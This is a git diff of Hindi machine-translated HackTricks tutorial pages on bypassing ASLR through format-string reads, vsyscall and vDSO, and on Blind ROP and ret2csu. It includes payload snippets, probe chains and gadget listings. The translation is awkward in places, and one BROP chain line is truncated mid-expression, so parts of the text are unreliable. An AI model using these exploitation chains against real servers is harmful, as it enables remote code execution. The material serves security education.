||||
from pwn import *
|
||||
|
||||
|
@ -210,9 +210,9 @@ p.interactive()
|
|||
[ret2plt.md](ret2plt.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
* **फॉर्मेट स्ट्रिंग्स अर्बिट्रेरी रीड**
|
||||
* **फॉर्मेट स्ट्रिंग्स एर्बिट्रेरी रीड**
|
||||
|
||||
जैसे कि ret2plt में, अगर आपके पास फॉर्मेट स्ट्रिंग्स वलनरबिलिटी के माध्यम से एक अर्बिट्रेरी रीड है तो **libc function** का पता निकालना संभव है जो GOT से है। निम्नलिखित [**उदाहरण यहाँ से है**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got):
|
||||
जैसे कि ret2plt में, अगर आपके पास फॉर्मेट स्ट्रिंग्स वलनरबिलिटी के माध्यम से एक विषयस्वी पठन संभावना है तो एक **libc फ़ंक्शन** का पता निकालना संभव है। निम्नलिखित [**उदाहरण यहाँ से है**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got):
|
||||
```python
|
||||
payload = p32(elf.got['puts']) # p64() if 64-bit
|
||||
payload += b'|'
|
||||
|
@ -223,7 +223,7 @@ payload += b'%3$s' # The third parameter points at the start of the
|
|||
payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer
|
||||
payload += p32(elf.symbols['main'])
|
||||
```
|
||||
आप फॉर्मेट स्ट्रिंग अर्बिट्रेरी रीड के बारे में अधिक जानकारी यहाँ पा सकते हैं:
|
||||
आप फॉर्मेट स्ट्रिंग अर्बिट्रेरी पढ़ने के बारे में अधिक जानकारी यहाँ पा सकते हैं:
|
||||
|
||||
{% content-ref url="../../format-strings/" %}
|
||||
[format-strings](../../format-strings/)
|
||||
|
@ -231,7 +231,7 @@ payload += p32(elf.symbols['main'])
|
|||
|
||||
### Ret2ret & Ret2pop
|
||||
|
||||
स्टैक के अंदर पते का दुरुपयोग करके ASLR को उल्लंघन करने का प्रयास करें:
|
||||
स्टैक के अंदर पते का दुरुपयोग करके ASLR को अवगाहित करने का प्रयास करें:
|
||||
|
||||
{% content-ref url="ret2ret.md" %}
|
||||
[ret2ret.md](ret2ret.md)
|
||||
|
@ -239,12 +239,12 @@ payload += p32(elf.symbols['main'])
|
|||
|
||||
### vsyscall
|
||||
|
||||
**`vsyscall`** मेकेनिज़्म प्रदर्शन को बढ़ाने के लिए सेवा कॉल को उपयोगकर्ता स्थान में निष्पादित करने की सेवा प्रदान करता है, हालांकि वे मौलिक रूप से कर्नेल का हिस्सा हैं। **vsyscalls** का महत्वपूर्ण लाभ उनके **निश्चित पतों** में है, जो **ASLR** (पता स्थान लेआउट यातायात यादृच्छीकरण) के अधीन नहीं हैं। यह निश्चित स्वभाव कहता है कि हमलावरों को उनके पतों का निर्धारण करने और उन्हें एक उत्पीड़न में उपयोग करने के लिए एक जानकारी लीक संकट की आवश्यकता नहीं होती है।\
|
||||
**`vsyscall`** तंत्र कुछ सिस्टम कॉल को उपयोगकर्ता स्थान में निष्पादित करने के द्वारा प्रदर्शन को बढ़ाने के लिए सेवित करता है, हालांकि वे मौलिक रूप से कर्नेल का हिस्सा हैं। **vsyscalls** का महत्वपूर्ण लाभ उनके **निश्चित पतों** में है, जो **ASLR** (पता स्थान लेआउट यातायात यादृच्छीकरण) के अधीन नहीं हैं। यह निश्चित स्वभाव यह मानता है कि हमलावरों को उनके पतों का निर्धारण करने और उन्हें एक उत्पीड़न में उपयोग करने के लिए एक जानकारी लीक संकट की आवश्यकता नहीं है।\
|
||||
हालांकि, यहाँ कोई अत्यधिक रोमांचक गैजेट नहीं मिलेगा (हालांकि उदाहरण के लिए एक `ret;` समकक्ष प्राप्त किया जा सकता है)
|
||||
|
||||
(निम्नलिखित उदाहरण और कोड [**इस लेख से हैं**](https://guyinatuxedo.github.io/15-partial\_overwrite/hacklu15\_stackstuff/index.html#exploitation))
|
||||
(निम्नलिखित उदाहरण और कोड [**इस लेख से है**](https://guyinatuxedo.github.io/15-partial\_overwrite/hacklu15\_stackstuff/index.html#exploitation))
|
||||
|
||||
उदाहरण के रूप में, एक हमलावर एक उत्पीड़न में `0xffffffffff600800` पते का उपयोग कर सकता है। जब एक `ret` निर्देश को सीधे जाने की कोशिश की जाती है, तो कुछ गैजेट्स को निष्पादित करने के बाद अस्थिरता या क्रैश का सामना करना पड़ सकता है, एक **vsyscall** खंड द्वारा प्रदान की गई एक `syscall` की शुरुआत पर कूदने का प्रयास सफल साबित हो सकता है। एक **ROP** गैजेट को सावधानीपूर्वक रखकर जो इस **vsyscall** पते पर निष्पादन करने के लिए नेतृत्व करता है, एक हमलावर इस भाग के लिए **ASLR** को उल्लंघन करने की आवश्यकता नहीं होती है।
|
||||
उदाहरण के रूप में, एक हमलावर एक उत्पीड़न के भीतर पता `0xffffffffff600800` का उपयोग कर सकता है। जबकि सीधे `ret` निर्देश को छलकरने का प्रयास करने पर कुछ गैजेट्स को निष्तब्ध करने के बाद अस्थिरता या क्रैश का सामना कर सकता है, तो **vsyscall** खंड द्वारा प्रदान की गई एक `syscall` की शुरुआत पर कूदने का प्रयास सफल साबित हो सकता है। एक **ROP** गैजेट को सावधानीपूर्वक रखकर जो इस **vsyscall** पते पर निष्पादन करने की ओर ले जाता है, एक हमलावर इस भाग के लिए **ASLR** को अवगाहित किए बिना कोड निष्पादन कर सकता है।
|
||||
```
|
||||
ef➤ vmmap
|
||||
Start End Offset Perm Path
|
||||
|
@ -285,16 +285,10 @@ gef➤ x/4i 0xffffffffff600800
|
|||
0xffffffffff600809: ret
|
||||
0xffffffffff60080a: int3
|
||||
```
|
||||
<details>
|
||||
### vDSO
|
||||
|
||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
ध्यान दें कि यदि कर्नेल CONFIG\_COMPAT\_VDSO के साथ कॉम्पाइल किया गया है, तो **vdso का दुरुपयोग करके ASLR को अनदेखा किया जा सकता है** क्योंकि vdso पता यादृच्छिक नहीं होगा। अधिक जानकारी के लिए देखें:
|
||||
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
||||
* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** पर **फॉलो** करें 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **अपने हैकिंग ट्रिक्स साझा करें, HackTricks** के [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके।
|
||||
|
||||
</details>
|
||||
{% content-ref url="../../rop-return-oriented-programing/ret2vdso.md" %}
|
||||
[ret2vdso.md](../../rop-return-oriented-programing/ret2vdso.md)
|
||||
{% endcontent-ref %}
|
||||
|
|
|
@ -16,17 +16,17 @@ HackTricks का समर्थन करने के अन्य तरी
|
|||
|
||||
## मूल जानकारी
|
||||
|
||||
इस हमले का उद्देश्य है कि **एक ROP का दुरुपयोग किया जा सके बिना किसी भी जानकारी के वंशावली बाइनरी के बारे में**।\
|
||||
इस हमले का उद्देश्य है कि **एक ROP का दुरुपयोग किया जा सके बिना किसी भी जानकारी के कि कमजोर बाइनरी के बारे में**।\
|
||||
यह हमला निम्नलिखित स्थिति पर आधारित है:
|
||||
|
||||
* एक स्टैक की कमजोरी और उसे ट्रिगर करने के तरीके की जानकारी।
|
||||
* एक सर्वर एप्लिकेशन जो क्रैश होने के बाद पुनः आरंभ होता है।
|
||||
* एक स्टैक कमजोरी और उसे ट्रिगर करने के तरीके की जानकारी।
|
||||
* एक सर्वर एप्लिकेशन जो एक क्रैश के बाद पुनरारंभ होता है।
|
||||
|
||||
## हमला
|
||||
|
||||
### **1. वंशावली का कमजोर स्थान खोजें** एक और वर्ण भेजकर सर्वर के किसी खराबी का पता लगाने तक
|
||||
### **1. कमजोर ऑफसेट खोजें** सर्वर के किसी भी खराबी की पहचान करने तक एक अधिक वर्णक्रम भेजें
|
||||
|
||||
### **2. कैनरी को ब्रूट-फोर्स करें** ताकि इसे लीक किया जा सके
|
||||
### **2. कैनरी को ब्रूट-फोर्स करें** इसे लीक करने के लिए 
|
||||
|
||||
### **3. स्टोर्ड RBP और RIP को ब्रूट-फोर्स करें** स्टैक में इन्हें लीक करने के लिए
|
||||
|
||||
|
@ -34,13 +34,13 @@ HackTricks का समर्थन करने के अन्य तरी
|
|||
|
||||
### **4. स्टॉप गैजेट खोजें**
|
||||
|
||||
यह गैजेट मुख्य रूप से यह साबित करने के लिए है कि कोई दिलचस्प चीज ROP गैजेट द्वारा निष्पादित की गई क्योंकि निष्पादन में कोई क्रैश नहीं हुआ। सामान्यत: यह गैजेट कुछ ऐसा होगा जो **निष्पादन को रोकेगा** और यह ROP गैजेट निष्पादित होने की पुष्टि करने के लिए ROP गैजेट की खोज के लिए ROP गैजेट के अंत में स्थित होगा।
|
||||
यह गैजेट मुख्य रूप से यह साबित करने के लिए है कि कुछ दिलचस्प चीज़ ROP गैजेट द्वारा निष्पादित हुआ क्योंकि निष्पादन क्रैश नहीं हुआ। सामान्यत: यह गैजेट कुछ होगा जो **निष्पादन को रोकेगा** और यह ROP गैजेट की निश्चित करने के लिए ROP गैजेट की खोज के दौरान ROP श्रृंखला के अंत में स्थित होगा।
|
||||
|
||||
### **5. BROP गैजेट खोजें**
|
||||
|
||||
यह तकनीक [**ret2csu**](ret2csu.md) गैजेट का उपयोग करती है। और यह इसलिए है क्योंकि अगर आप किसी भी निर्देशों के बीच में इस गैजेट तक पहुंचते हैं तो आपको **`rsi`** और **`rdi`** को नियंत्रित करने के गैजेट मिलते हैं:
|
||||
यह तकनीक [**ret2csu**](ret2csu.md) गैजेट का उपयोग करती है। और यह इसलिए है क्योंकि यदि आप किसी भी निर्देशों के बीच में इस गैजेट तक पहुंचते हैं तो आपको नियंत्रण मिलता है **`rsi`** और **`rdi`** को नियंत्रित करने के लिए:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image.png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
||||
|
||||
ये गैजेट होंगे:
|
||||
|
||||
|
@ -49,47 +49,47 @@ HackTricks का समर्थन करने के अन्य तरी
|
|||
|
||||
ध्यान दें कि इन गैजेट्स के साथ दो तर्कों को **नियंत्रित करना संभव** है।
|
||||
|
||||
इसके अलावा, ध्यान दें कि ret2csu गैजेट का **एक बहुत ही अद्वितीय हस्ताक्षर** है क्योंकि यह स्टैक से 6 रजिस्टर्स को पॉप करेगा। इसलिए, निम्नलिखित श्रृंखला भेजकर:
|
||||
इसके अलावा, ध्यान दें कि ret2csu गैजेट का **एक बहुत ही अद्वितीय हस्ताक्षर** है क्योंकि यह स्टैक से 6 रजिस्टर्स को पॉप करेगा। इसलिए, एक श्रृंखला भेजने पर:
|
||||
|
||||
`'A' * offset + canary + rbp + ADDR + 0xdead * 6 + STOP`
|
||||
|
||||
अगर **STOP निष्पादित होता है**, तो यह मुख्य रूप से यह अर्थ है कि स्टैक से 6 रजिस्टर्स पॉप किए गए पते का उपयोग किया गया था। या यह कि उपयोग किया गया पता भी एक स्टॉप पता था।
|
||||
यदि **STOP निष्पादित होता है**, तो यह मुख्य रूप से यह अर्थ है कि स्टैक से 6 रजिस्टर्स पॉप किए गए एक पता उपयोग किया गया था। या यह कि उपयोग किया गया पता भी एक स्टॉप पता था।
|
||||
|
||||
इस **अंतिम विकल्प को हटाने** के लिए निम्नलिखित नई श्रृंखला को निष्पादित किया जाता है और यहे पिछले वाला पॉप 6 रजिस्टर्स किया था उसे पुष्टि करने के लिए STOP गैजेट को निष्पादित नहीं करना चाहिए:
|
||||
इस **अंतिम विकल्प को हटाने** के लिए निम्नलिखित एक नई श्रृंखला निष्पादित की जाती है और यहे पिछले वाले ने 6 रजिस्टर्स पॉप किए थे की पुष्टि करने के लिए यहे STOP गैजेट निष्पादित नहीं करना चाहिए:
|
||||
|
||||
`'A' * offset + canary + rbp + ADDR`
|
||||
|
||||
ret2csu गैजेट का पता लगाने के बाद, **`rsi`** और **`rdi`** को नियंत्रित करने के गैजेट के पते का अनुमान लगाया जा सकता है।
|
||||
ret2csu गैजेट का पता लगाने के बाद, यह संभव है कि **`rsi` और `rdi` को नियंत्रित करने के लिए गैजेटों का पता लगाया जा सके**।
|
||||
|
||||
### 6. PLT खोजें
|
||||
|
||||
PLT तालिका 0x400000 से या स्टैक से लीक हुए RIP पते से (यदि **PIE** का उपयोग किया जा रहा है) खोजा जा सकता है। तालिका के **एंट्रियां** 16B (0x10B) से अलग होती हैं, और जब एक फ़ंक्शन को कॉल किया जाता है तो सर्वर क्रैश नहीं होता है भले ही तार्गिक गलत हों। इसके अलावा, तालिका में एंट्री का पता लगाने के लिए निम्नलिखित व्यवहारों की जांच की जा सकती है:
|
||||
PLT तालिका 0x400000 से या स्टैक से लीक RIP पते से (यदि **PIE** का उपयोग हो रहा है) खोजा जा सकता है। तालिका के **एंट्रियां** 16B (0x10B) से अलग होती हैं, और जब एक फ़ंक्शन को कॉल किया जाता है तो सर्वर क्रैश नहीं होता है भले ही तार्गिक गलत हों। इसके अलावा, **PLT + 6B में एंट्री का पता लगाना भी क्रैश नहीं करता** क्योंकि यह पहला कोड निष्पादित होता है।
|
||||
|
||||
* `'A' * offset + canary + rbp + ADDR + STOP` -> कोई क्रैश नहीं होता
|
||||
* `'A' * offset + canary + rbp + (ADDR + 0x6) + STOP` -> कोई क्रैश नहीं होता
|
||||
* `'A' * offset + canary + rbp + (ADDR + 0x10) + STOP` -> कोई क्रैश नहीं होता
|
||||
इसलिए, निम्नलिखित व्यवहारों की जांच करके PLT तालिका पाया जा सकता है:
|
||||
|
||||
* `'A' * offset + canary + rbp + ADDR + STOP` -> कोई क्रैश नहीं
|
||||
* `'A' * offset + canary + rbp + (ADDR + 0x6) + STOP` -> कोई क्रैश नहीं
|
||||
* `'A' * offset + canary + rbp + (ADDR + 0x10) + STOP` -> कोई क्रैश नहीं
|
||||
|
||||
### 7. strcmp खोजना
|
||||
|
||||
**`strcmp`** फ़ंक्शन रजिस्टर **`rdx`** को तुलना की जा रही स्ट्रिंग की लंबाई सेट करता है। ध्यान दें कि **`rdx`** तीसरा तर्क है और हमें इसे **0 से अधिक** होना चाहिए ताकि बाद में `write` का उपयोग करके प्रोग्राम को लीक कर सकें।
|
||||
**`strcmp`** फ़ंक्शन रजिस्टर **`rdx`** को तुलना की जा रही स्ट्रिंग की लंबाई पर सेट करता है। ध्यान दें कि **`rdx`** तीसरा तर्क है और हमें इसे **0 से अधिक** होना चाहिए ताकि बाद में `write` का उपयोग करके प्रोग्राम को लीक कर सकें।
|
||||
|
||||
इसके व्यवहार के आधार पर PLT में **`strcmp`** के स्थान को खोजना संभव है, जिसे हम अब फ़ंक्शनों के पहले 2 तर्कों को नियंत्रित कर सकते हैं:
|
||||
यह संभव है कि **`strcmp`** की स्थान पर PLT में पाया जा सके उसके व्यवहार के आधार पर जिसमें हम अब फ़ंक्शनों के पहले 2 तर्कों को नियंत्रित कर सकते हैं:
|
||||
|
||||
* strcmp(\<non read addr>, \<non read addr>) -> क्रैश
|
||||
* strcmp(\<non read addr>, \<read addr>) -> क्रैश
|
||||
* strcmp(\<read addr>, \<non read addr>) -> क्रैश
|
||||
* strcmp(\<read addr>, \<read addr>) -> कोई क्रैश नहीं होता
|
||||
* strcmp(\<read addr>, \<read addr>) -> कोई क्रैश नहीं
|
||||
|
||||
इसे जांचने के लिए PLT तालिका के प्रत्येक एंट्री को कॉल करके या **PLT स्लो पथ** का उपयोग करके किया जा सकता है जिसमें मुख्य रूप से **PLT तालिका को कॉल करने के लिए + 0xb** (जो **`dlresolve`** को कॉल करता है) और स्टैक में **एंट्री नंबर** (जो शुरुआत में शून्य से शुरू होता है) के बाद आता है ताकि पहली से सभी PLT एंट्रीज को स्कैन किया जा सके:
|
||||
इसे जांचने के लिए PLT तालिका के प्रत्येक एंट्री को कॉल करके या **PLT स्लो पथ** का उपयोग करके किया जा सकता है जिसमें मुख्य रूप से **PLT तालिका में एंट्री को कॉल करने के बाद + 0xb** (जो **`dlresolve`** को कॉल करता है) आता है जिसके बाद स्टैक में **एंट्री नंबर** (जो शून्य से शुरू होता है) आता है ताकि पहले से सभी PLT एंट्रियों को स्कैन किया जा सके:
|
||||
|
||||
* strcmp(\<non read addr>, \<read addr>) -> क्रैश
|
||||
* `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> क्रैश होगा
|
||||
* strcmp(\<read addr>, \<non read addr>) -> क्रैश
|
||||
* `b'A' * offset + canary + rbp + (BROP + 0x9) + p64(0x300) + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` 
|
||||
* strcmp(\<read addr>, \<read addr>) -> कोई क्रैश नहीं होता
|
||||
* `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` 
|
||||
|
||||
ध्यान दें
|
||||
* strcmp(\<read addr>, \<read addr>) -> कोई क्रैश नहीं
|
||||
* `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x
|
||||
### 8. लेखन या समकक्ष खोजना
|
||||
|
||||
अंत में, डेटा निकालने के लिए एक गैजेट की आवश्यकता है ताकि बाइनरी को निकाला जा सके। और इस समय **2 तर्कों को नियंत्रित करना और `rdx` को 0 से अधिक सेट करना संभव है।**
|
||||
|
@ -102,9 +102,9 @@ PLT तालिका 0x400000 से या स्टैक से लीक
|
|||
|
||||
हालांकि, मूल पेपर में केवल **`write`** का उल्लेख है, इसलिए इसके बारे में चर्चा करें:
|
||||
|
||||
वर्तमान समस्या यह है कि हमें पता नहीं है **PLT के अंदर लेखन कार्य कहाँ है** और हमें **अपने सॉकेट पर डेटा भेजने के लिए कोई fd नंबर पता नहीं है**।
|
||||
वर्तमान समस्या यह है कि हमें पता नहीं है **PLT के अंदर लेखन कार्य कहाँ है** और हमें **अपने सॉकेट को डेटा भेजने के लिए एक fd नंबर पता नहीं है**।
|
||||
|
||||
हालांकि, हमें **PLT तालिका कहाँ है यह पता है** और इसके **व्यवहार** के आधार पर लेखन को खोजना संभव है। और हम **सर्वर के साथ कई कनेक्शन बना सकते हैं और एक **उच्च FD** का उपयोग कर सकते हैं जिससे कि यह हमारे कनेक्शनों में से कुछ के साथ मेल खाता है।
|
||||
हालांकि, हमें **PLT तालिका कहाँ है यह पता है** और इसके **व्यवहार** के आधार पर लेखन को खोजना संभव है। और हम सर्वर के साथ **कई कनेक्शन** बना सकते हैं और **एक उच्च FD** का उपयोग करके उम्मीद कर सकते हैं कि यह हमारे कनेक्शनों में से किसी से मेल खाता है।
|
||||
|
||||
उन फ़ंक्शनों को खोजने के लिए व्यवहार हस्ताक्षर:
|
||||
|
||||
|
|
|
@ -6,11 +6,11 @@
|
|||
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) और हमें **ट्विटर** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें।
|
||||
* **हैकिंग ट्रिक्स साझा करें** द्वारा PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
|
||||
* **हैकिंग ट्रिक्स साझा करें** द्वारा **PRs सबमिट** करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -18,15 +18,15 @@ HackTricks का समर्थन करने के अन्य तरी
|
|||
|
||||
## [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)मूल जानकारी
|
||||
|
||||
**ret2csu** एक हैकिंग तकनीक है जब आप किसी प्रोग्राम के नियंत्रण पर कब्जा करने की कोशिश कर रहे हो लेकिन आपको प्रोग्राम के व्यवहार को बदलने के लिए आमतौर पर उपयोग किए जाने वाले **गैजेट्स** नहीं मिल रहे हैं। 
|
||||
**ret2csu** एक हैकिंग तकनीक है जब आप किसी प्रोग्राम के नियंत्रण पर कब्जा पाने की कोशिश कर रहे हो लेकिन आपको प्रोग्राम के व्यवहार को बदलने के लिए आमतौर पर उपयोग किए जाने वाले **गैजेट्स** नहीं मिल रहे हैं।
|
||||
|
||||
जब एक प्रोग्राम कुछ लाइब्रेरी (जैसे libc) का उपयोग करता है, तो इसमें कुछ ऐसे निर्मित कार्य होते हैं जो विभिन्न टुकड़ों के बीच कैसे बातचीत करें को प्रबंधित करने के लिए होते हैं। इन कार्यों में से कुछ छुपे हुए गहने होते हैं जो हमारे गायब गैजेट्स के रूप में काम कर सकते हैं, खासकर एक जिसे `__libc_csu_init` कहा जाता है।
|
||||
जब एक प्रोग्राम कुछ लाइब्रेरी (जैसे libc) का उपयोग करता है, तो इसमें कुछ ऐसे निर्देशिका समावेश होते हैं जो प्रोग्राम के विभिन्न टुकड़ों के बीच कैसे बातचीत करें को प्रबंधित करने के लिए निर्मित फ़ंक्शन होते हैं। इन फ़ंक्शनों में से कुछ छुपे हुए गहने होते हैं जो हमारे गुमनाम गैजेट्स के रूप में काम कर सकते हैं, खासकर एक जिसे `__libc_csu_init` कहा जाता है।
|
||||
|
||||
### \_\_libc\_csu\_init में जादूगर गैजेट्स
|
||||
|
||||
**`__libc_csu_init`** में, हाइलाइट करने के लिए दो अनुक्रम (गैजेट्स) हैं:
|
||||
**`__libc_csu_init`** में, दो निर्देशिका अनुक्रम हैं (गैजेट्स) जिन्हें हाइलाइट किया जा सकता है:
|
||||
|
||||
1. पहला अनुक्रम हमें कई रजिस्टरों (rbx, rbp, r12, r13, r14, r15) में मान सेट करने की अनुमति देता है। ये उन स्थानों की तरह हैं जहाँ हम बाद में उपयोग करने के लिए संख्याएँ या पते संग्रहित कर सकते हैं।
|
||||
1. पहला अनुक्रम हमें कई रजिस्टरों (rbx, rbp, r12, r13, r14, r15) में मान सेट करने की अनुमति देता है। ये वे स्लॉट हैं जहाँ हम बाद में उपयोग करने के लिए संख्याएँ या पते संग्रहित कर सकते हैं।
|
||||
```armasm
|
||||
pop rbx;
|
||||
pop rbp;
|
||||
|
@ -38,9 +38,9 @@ ret;
|
|||
```
|
||||
यह गैजेट हमें इन रजिस्टरों को नियंत्रित करने की अनुमति देता है, जिन्हें हम स्टैक से बाहर निकालकर उनमें डाल सकते हैं।
|
||||
|
||||
2. दूसरी क्रमवार्ति में हमने सेट किए गए मानों का उपयोग कुछ कार्यों के लिए करने के लिए किया:
|
||||
* **विशिष्ट मानों को अन्य रजिस्टर में ले जाना**, जिन्हें हम फ़ंक्शन में पैरामीटर के रूप में उपयोग करने के लिए तैयार करते हैं।
|
||||
* **एक स्थान पर कॉल करना** जिसे r15 और rbx में मानों को जोड़कर निर्धारित किया गया है, फिर rbx को 8 से गुणा करके।
|
||||
2. दूसरी क्रमवारी में हमने सेट किए गए मानों का उपयोग कुछ कार्यों के लिए करने के लिए किया:
|
||||
* **विशिष्ट मानों को अन्य रजिस्टर में ले जाएं**, जिन्हें हम फ़ंक्शन में पैरामीटर के रूप में उपयोग करने के लिए तैयार करते हैं।
|
||||
* **एक स्थान पर कॉल करें** जिसे r15 और rbx में मानों को जोड़कर निर्धारित किया गया है, फिर rbx को 8 से गुणा करके।
|
||||
```armasm
|
||||
mov rdx, r15;
|
||||
mov rsi, r14;
|
||||
|
@ -61,8 +61,8 @@ ret
|
|||
```
|
||||
Conditions इस प्रकार होंगे:
|
||||
|
||||
* `[r12 + rbx*8]` को किसी कॉलएबल फ़ंक्शन के पते पर प्वाइंट करना चाहिए (अगर कोई विचार नहीं है और पाई नहीं है, तो आप सिर्फ `_init` फ़ंक्शन का उपयोग कर सकते हैं):
|
||||
* यदि \_init `0x400560` पर है, तो GEF का उपयोग करके इसके लिए मेमोरी में एक पॉइंटर खोजें और `[r12 + rbx*8]` को पॉइंटर के साथ पते का पता होना चाहिए:
|
||||
* `[r12 + rbx*8]` को कॉल करने योग्य फ़ंक्शन का पता होना चाहिए (अगर कोई विचार नहीं है और पाई नहीं है, तो आप सिर्फ `_init` फ़ंक्शन का उपयोग कर सकते हैं):
|
||||
* यदि \_init `0x400560` पर है, तो GEF का उपयोग करके इसके लिए मेमोरी में एक पॉइंटर खोजें और `[r12 + rbx*8]` को उसके पॉइंटर के पते वाले पते के साथ बनाएं:
|
||||
```bash
|
||||
# Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
|
||||
gef➤ search-pattern 0x400560
|
||||
|
@ -72,14 +72,14 @@ gef➤ search-pattern 0x400560
|
|||
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x600000-0x601000), permission=r--
|
||||
0x600e38 - 0x600e44 → "\x60\x05\x40[...]"
|
||||
```
|
||||
* `rbp` और `rbx` को एक ही मान रखना चाहिए ताकि जंप से बचा जा सके
|
||||
* आपको ध्यान देने योग्य कुछ छूटे हुए पॉप्स हैं जिन्हें आपको ध्यान में रखना होगा
|
||||
* `rbp` और `rbx` को एक ही मान रखना चाहिए ताकि जंप न हो
|
||||
* आपको ध्यान देने योग्य कुछ छूटे हुए पॉप्स हैं
|
||||
|
||||
## RDI और RSI
|
||||
|
||||
रेट2सीएसयू गैजेट से **`rdi`** और **`rsi`** को नियंत्रित करने का एक और तरीका यह है कि आप इसके विशिष्ट ऑफसेट तक पहुंचें:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
||||
|
||||
अधिक जानकारी के लिए इस पृष्ठ की जाँच करें:
|
||||
|
||||
|
@ -91,14 +91,14 @@ gef➤ search-pattern 0x400560
|
|||
|
||||
### कॉल का उपयोग
|
||||
|
||||
सोचिए आप एक सिस्टम कॉल करना चाहते हैं या `write()` जैसी फ़ंक्शन को कॉल करना चाहते हैं लेकिन `rdx` और `rsi` रजिस्टर में पैरामीटर के रूप में विशिष्ट मान चाहिए। सामान्यत: आप इन रजिस्टरों को सीधे सेट करने वाले गैजेट्स खोजेंगे, लेकिन आपको कोई नहीं मिलता।
|
||||
सोचिए आप एक सिस्टम कॉल करना चाहते हैं या `write()` जैसी फ़ंक्शन को कॉल करना चाहते हैं लेकिन `rdx` और `rsi` रजिस्टर में पैरामीटर के रूप में विशिष्ट मान चाहिए। सामान्य रूप से, आप इन रजिस्टरों को सीधे सेट करने वाले गैजेट्स खोजेंगे, लेकिन आपको कोई नहीं मिलता।
|
||||
|
||||
यहाँ **ret2csu** काम में आता है:
|
||||
|
||||
1. **रजिस्टर सेट अप करें**: पहले जादूगर का उपयोग करें ताकि आप स्टैक से मानों को पॉप करके rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx), और r15 में डाल सकें।
|
||||
